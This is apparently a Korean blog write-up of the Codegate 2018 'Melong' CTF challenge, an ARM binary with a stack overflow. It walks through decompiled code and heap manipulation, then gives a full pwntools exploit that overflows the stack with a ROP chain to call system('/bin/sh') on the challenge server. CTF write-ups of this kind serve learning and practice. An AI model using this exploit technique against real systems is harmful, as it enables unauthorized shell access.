y0u_bat
Codegaet2018 - Melong 본문
arm계열의 간단한 스택오버플로우 문제입니다.
Mitigation
ihaechan@ubuntu:~$ ./Desktop/pwnable/checksec.sh --file ./melong
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./melong
ihaechan@ubuntu:~$
ASLR이 꺼져 있음
Vulnerability
_DWORD *__fastcall write_diary(_DWORD *result, void *a2)
{
void *buf; // [sp+0h] [bp-14h]
unsigned __int8 nbytes; // [sp+Fh] [bp-5h]
buf = a2;
nbytes = *result;
if ( nbytes )
{
read(0, a2, nbytes); // stack overflow
result = printf("you wrote %s\n", buf);
}
return result;
}
인자로 받아온 크기만큼, 2번째 인자인 main 함수의 스택변수에 write 합니다.
이때 크기는 3번메뉴인 PT함수의 리턴값입니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [sp+0h] [bp-54h]
int v5; // [sp+34h] [bp-20h]
int v6; // [sp+38h] [bp-1Ch]
size_t v7; // [sp+40h] [bp-14h]
int v8; // [sp+4Ch] [bp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v7 = 0;
v5 = 0;
puts("Welcome to the BPSEC gym\n");
while ( 1 )
{
puts("1. Check your bmi");
puts("2. Exercise");
puts("3. Register personal training");
puts("4. Write daily record");
puts("5. Have some health menu");
puts("6. Out of the gym\n");
printf("Type the number:");
_isoc99_scanf("%d", &v8);
switch ( v8 )
{
case 1:
check(&v5, &v6);
continue;
case 2:
if ( v5 )
exercise(&v5, &v6);
else
no();
continue;
case 3:
if ( v5 )
v7 = PT();
else
no();
continue;
case 4:
if ( v7 )
write_diary(&v7, &v4);
else
puts("you should take personal training first!!");
continue;
case 5:
diet_menu(&v7);
goto LABEL_14;
case 6:
LABEL_14:
puts("See you again :)");
return 0;
default:
puts("Invalid number :(");
break;
}
}
}
size_t PT()
{
size_t v0; // r3
size_t size; // [sp+4h] [bp-10h]
void *ptr; // [sp+8h] [bp-Ch]
int i; // [sp+Ch] [bp-8h]
puts("Let's start personal training");
puts("How long do you want to take personal training?");
_isoc99_scanf("%d", &size);
ptr = malloc(size);
if ( ptr == exc2 )
{
puts("Okay, start to exercise!");
for ( i = 0; i < size; ++i )
{
puts("you are getting healthy..");
sleep(0);
}
free(ptr);
v0 = size;
}
else
{
puts("Check your bmi again!!");
free(ptr);
v0 = 0;
}
return v0;
}
PT함수 같은경우 리턴값이 입력한 사이즈이거나 0입니다.
입력한 사이즈 값을 리턴하고 싶으면 그사이즈만큼 할당한 힙의 주소가 exc2(전역변수)에 있는 주소와 같아야됩니다.
exc2 함수같은경우 check함수에서 bmi를 계산해서 계산된 bmi 수치만큼 할당해서 exc나 exc2에 할당하게 됩니다.
2번째 할당할 경우 exc2에 할당된 주소가 들어가게 됩니다. 이렇게 한 250정도 할당 2번을 해주고 나서,
exercise 함수를 호출하여 exc2에 할당된 힙청크를 free 시켜줍니다. 그리고 나서 PT를 실행시켜서 대충 190정도 할당을 2번하게 되면 2번째에 PT함수에서 할당되는 힙과 exc2에 있던 주소와 같게 됩니다.
그렇게 되면, PT함수의 리턴값은 190이 되게 됩니다.
그렇게 되면, 4번 메뉴에 1번째 인자에 190이 들어가게 되고 stack over flow가 일어나게 됩니다.
Exploit
from pwn import *
context.log_level = 'debug'
def check(height,weight):
s.sendline("1")
print s.recvuntil("Your height(meters) : ")
s.sendline(str(height))
print s.recvuntil("Your weight(kilograms) : ")
s.sendline(str(weight))
print s.recvuntil("Type the number:")
def ex():
s.sendline("2")
print s.recvuntil("Type the number:")
def pt(size):
s.sendline("3")
s.sendline(str(size))
print s.recvuntil("Type the number:")
def exploit(payload):
s.sendline("4")
s.send(str(payload))
print s.recvuntil("Type the number:")
def exploit_real():
s.sendline("6")
print s.recvuntil("See you again :)\n")
s = remote("ch41l3ng3s.codegate.kr",1199)
print s.recvuntil("Type the number:")
arg0_pc = 0x00011bbc
sleep_got =0x23018
puts_plt = 0x104A8
binsh = 0xf6686000+0x12121C
check(170,700)
check(170,700)
ex()
pt(190)
payload = "A"*0x54 + p32(arg0_pc) + p32(binsh) + p32(0xf6686000+0x038634) + p32(0)
pt(190)
exploit(payload)
s.interactive()
아 참고로 aslr이 꺼져있어서 rop를 통해 간단하게 libc를 릭을 하고 얻어온 libc base 바탕으로 쉽게 system 함수로 쉘을 획득 할 수 있습니다.
'System > [CTF]' 카테고리의 다른 글
Codegate2018 - BaskinRobins31 (0) | 2018.02.10 |
---|---|
Codegate2018 - Super Marimo (0) | 2018.02.10 |
[DEFCON 2017] mute (0) | 2017.05.08 |
[DEFCON 2017] Smashme (0) | 2017.05.07 |
[DEFCON 2017] beatmethedl (1) | 2017.05.06 |
Comments